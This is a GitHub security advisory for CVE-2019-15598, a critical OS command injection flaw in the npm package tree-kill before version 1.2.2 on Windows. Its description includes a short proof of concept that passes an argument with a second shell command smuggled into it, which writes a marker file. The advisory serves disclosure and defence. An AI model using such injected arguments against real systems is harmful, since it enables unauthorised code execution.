GitHub Advisoryadvisory · npm

GHSA-j7fq-p9q7-5wfv Treekill Enables OS Command Injection

CRITICAL Published 2022-05-24 Modified 2024-04-22 Official page ↗
Aliases
CVE-2019-15598
Ecosystem
npm
Packages
tree-kill
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-78
Reviewed
2024-04-22

Affected packages

• npm tree-kill: < 1.2.2 → fixed in 1.2.2

Description

A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command. Steps To Reproduce: Create the following PoC file: ```js var kill = require('treekill'); kill('3333332 & echo "HACKED" > HACKED.txt & '); ``` Execute the following commands in terminal: ```shell npm i treekill # Install affected module dir # Check *HACKED.txt* doesn't exist node poc.js # Run the PoC dir # Now *HACKED.txt* exists :) ``` The HACKED.txt has been created

Related

Alias · CVE (1)

  • CVE-2019-15598 A Code Injection exists in treekill on Windows which allows a remote code execution when an attacker is able to control the input into the… vulnerability

Weakness · CWE (1)

  • CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness

References